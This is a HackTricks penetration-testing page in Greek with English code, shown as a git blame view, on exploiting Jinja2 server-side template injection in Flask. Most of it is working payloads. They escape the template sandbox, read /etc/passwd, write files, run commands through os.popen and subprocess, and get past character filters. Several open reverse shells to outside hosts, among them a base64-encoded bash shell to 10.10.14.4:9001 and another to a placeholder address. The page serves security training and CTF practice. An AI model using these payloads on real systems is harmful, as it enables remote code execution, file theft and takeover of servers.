hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

292 lines
19 KiB
Markdown
Raw Normal View History

2022-07-20 01:03:41 +00:00
# Jinja2 SSTI
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-01-01 17:15:42 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-07-20 01:03:41 +00:00
</details>
2024-02-10 22:40:18 +00:00
## **Εργαστήριο**
2022-07-20 01:03:41 +00:00
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
2024-02-10 22:40:18 +00:00
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
2022-07-20 01:03:41 +00:00
if __name__ == "__main__":
2024-02-10 22:40:18 +00:00
app.run()
2022-07-20 01:03:41 +00:00
```
2024-02-10 22:40:18 +00:00
## **Διάφορα**
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
### **Δήλωση Αποσφαλμάτωσης**
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Εάν η Επέκταση Αποσφαλμάτωσης είναι ενεργοποιημένη, θα είναι διαθέσιμη μια ετικέτα `debug` για να εμφανίσει το τρέχον περιβάλλον καθώς και τα διαθέσιμα φίλτρα και τεστ. Αυτό είναι χρήσιμο για να δούμε τι είναι διαθέσιμο για χρήση στο πρότυπο χωρίς να χρειάζεται να ρυθμίσουμε έναν αποσφαλματωτή.
2022-07-20 01:03:41 +00:00
```python
<pre>
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% debug %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
</pre>
```
2024-02-10 22:40:18 +00:00
Πηγή: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
### **Εκτύπωση όλων των μεταβλητών διαμόρφωσης**
2022-07-20 01:03:41 +00:00
```python
{{ config }} #In these object you can find all the configured env variables
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
2022-11-05 10:28:41 +00:00
{% for key, value in config.items() %}
2024-02-10 22:40:18 +00:00
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
2022-07-20 01:03:41 +00:00
{% endfor %}
{% endraw %}
```
2024-02-10 22:40:18 +00:00
## **Εισαγωγή Jinja**
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Καταρχήν, σε μια εισαγωγή Jinja χρειάζεται να **βρείτε έναν τρόπο να δραπετεύσετε από το αμμοδοχείο** και να ανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης της Python. Για να το κάνετε αυτό, πρέπει να **καταχραστείτε αντικείμενα** που είναι **από** το **μη αμμοδοχείο περιβάλλον αλλά είναι προσβάσιμα από το αμμοδοχείο**.
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
### Πρόσβαση σε Παγκόσμια Αντικείμενα
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Για παράδειγμα, στον κώδικα `render_template("hello.html", username=username, email=email)` τα αντικείμενα username και email **προέρχονται από το μη αμμοδοχείο περιβάλλον της Python** και θα είναι **προσβάσιμα** μέσα στο **αμμοδοχείο περιβάλλοντος**.\
Επιπλέον, υπάρχουν και άλλα αντικείμενα που θα είναι **πάντα προσβάσιμα από το αμμοδοχείο περιβάλλοντος**, αυτά είναι:
2022-07-20 01:03:41 +00:00
```
[]
''
()
dict
config
request
```
2024-02-10 22:40:18 +00:00
### Ανάκτηση \<class 'object'>
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: **`<class 'object'>`** για να προσπαθήσουμε να **ανακτήσουμε** τις ορισμένες **κλάσεις**. Αυτό γίνεται επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο **`__subclasses__`** και να έχουμε πρόσβαση σε όλες τις κλάσεις από το μη-απομονωμένο περιβάλλον της Python.
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Για να έχουμε πρόσβαση σε αυτήν την **κλάση αντικειμένου**, πρέπει να έχουμε πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να έχουμε πρόσβαση είτε στο **`__base__`**, **`__mro__()[-1]`** ή `.`**`mro()[-1]`**. Και στη συνέχεια, **μετά** από την επίτευξη αυτής της **κλάσης αντικειμένου**, καλούμε τη μέθοδο **`__subclasses__()`**.
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Ελέγξτε αυτά τα παραδείγματα:
2022-07-20 01:03:41 +00:00
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
2024-02-10 22:40:18 +00:00
# From a class to access the class "object".
2022-07-20 01:03:41 +00:00
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
2024-02-10 22:40:18 +00:00
### Απόδραση RCE
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Έχοντας ανακτήσει** `<class 'object'>` και καλέσει την `__subclasses__` τώρα μπορούμε να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Η κλήση στην `__subclasses__` μας έχει δώσει την ευκαιρία να **έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις**, θα είμαστε ικανοποιημένοι απλά με την πρόσβαση στην **κλάση αρχείου** για να **διαβάσουμε/γράψουμε αρχεία** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως η `os`).
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Ανάγνωση/Εγγραφή απομακρυσμένου αρχείου**
2022-07-20 01:03:41 +00:00
```python
2022-11-05 10:28:41 +00:00
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
2022-07-20 01:03:41 +00:00
```
2024-02-10 22:40:18 +00:00
**RCE** (Remote Code Execution) είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να εκτελέσει κώδικα απομακρυσμένα σε έναν εξυπηρετητή. Αυτό μπορεί να οδηγήσει σε πλήρη παράκαμψη των μέτρων ασφαλείας και να επιτρέψει στον επιτιθέμενο να αποκτήσει πλήρη έλεγχο του συστήματος. Οι επιθέσεις RCE μπορούν να είναι αποτέλεσμα ευπαθειών σε διάφορες τεχνολογίες, όπως οι γλώσσες προγραμματισμού, οι διακομιστές εφαρμογών και οι πλατφόρμες διαχείρισης περιεχομένου. Για να προστατευτείτε από επιθέσεις RCE, είναι σημαντικό να ενημερώνετε τα συστήματά σας και να εφαρμόζετε τις βέλτιστες πρακτικές ασφαλείας.
2022-07-20 01:03:41 +00:00
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
```
2024-02-10 22:40:18 +00:00
Για να μάθετε για **περισσότερες κλάσεις** που μπορείτε να χρησιμοποιήσετε για να **αποφύγετε** μπορείτε να **ελέγξετε**:
2022-07-20 01:03:41 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2024-02-10 22:40:18 +00:00
### Παράκαμψη φίλτρων
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
#### Συνηθισμένες παρακάμψεις
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Αυτές οι παρακάμψεις θα μας επιτρέψουν να **έχουμε πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιούμε ορισμένους χαρακτήρες**.\
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα των προηγούμενων, αλλά ας τις περιλάβουμε εδώ:
2022-07-20 01:03:41 +00:00
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
2024-02-10 22:40:18 +00:00
* [**Επιστροφή εδώ για περισσότερες επιλογές πρόσβασης σε ένα παγκόσμιο αντικείμενο**](jinja2-ssti.md#πρόσβαση-σε-παγκόσμια-αντικείμενα)
* [**Επιστροφή εδώ για περισσότερες επιλογές πρόσβασης στην κλάση αντικειμένου**](jinja2-ssti.md#ανάκτηση-αντικειμένου-κλάσης)
* [**Διαβάστε αυτό για να έχετε RCE χωρίς την κλάση αντικειμένου**](jinja2-ssti.md#jinja-injection-χωρίς-την-κλάση-αντικειμένου)
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Αποφυγή κωδικοποίησης HTML**
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Από προεπιλογή, το Flask κωδικοποιεί όλα τα εσωτερικά περιεχόμενα ενός προτύπου για λόγους ασφαλείας:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
2024-02-10 22:40:18 +00:00
**Το φίλτρο `safe`** μας επιτρέπει να εισάγουμε JavaScript και HTML στη σελίδα **χωρίς** να γίνεται **κωδικοποίηση HTML**, όπως εδώ:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
2024-02-10 22:40:18 +00:00
**RCE με την εγγραφή ενός κακόβουλου αρχείου διαμόρφωσης.**
2022-07-20 01:03:41 +00:00
```python
# evil config
2024-02-10 22:40:18 +00:00
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
2022-07-20 01:03:41 +00:00
# load the evil config
2024-02-10 22:40:18 +00:00
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
2022-07-20 01:03:41 +00:00
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
2024-02-10 22:40:18 +00:00
## Χωρίς αρκετούς χαρακτήρες
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Χωρίς **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
2023-02-23 14:32:10 +00:00
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
2024-02-10 22:40:18 +00:00
## Εισαγωγή Jinja χωρίς **\<class 'object'>**
2023-02-23 14:32:10 +00:00
2024-02-10 22:40:18 +00:00
Από τα [**παγκόσμια αντικείμενα**](jinja2-ssti.md#πρόσβαση-σε-παγκόσμια-αντικείμενα) υπάρχει ένας άλλος τρόπος να φτάσετε σε **RCE χωρίς να χρησιμοποιείτε αυτήν την κλάση**.\
Αν καταφέρετε να φτάσετε σε οποιαδήποτε **συνάρτηση** από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να έχετε πρόσβαση στο **`__globals__.__builtins__`** και από εκεί το **RCE** είναι πολύ **απλό**.
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να **βρείτε συναρτήσεις** από τα αντικείμενα **`request`**, **`config`** και οποιοδήποτε **άλλο** ενδιαφέρον **παγκόσμιο αντικείμενο** στο οποίο έχετε πρόσβαση με:
2022-07-20 01:03:41 +00:00
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
2024-02-10 22:40:18 +00:00
Αφού βρείτε μερικές συναρτήσεις, μπορείτε να ανακτήσετε τις builtins με την εντολή:
2022-07-20 01:03:41 +00:00
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
2024-02-10 22:40:18 +00:00
## Αναφορές
2022-07-20 01:03:41 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
2024-02-10 22:40:18 +00:00
* Ελέγξτε το [attr trick για να παρακάμψετε αποκλεισμένους χαρακτήρες εδώ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
2022-07-20 01:03:41 +00:00
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-07-20 01:03:41 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-01-01 17:15:42 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-07-20 01:03:41 +00:00
</details>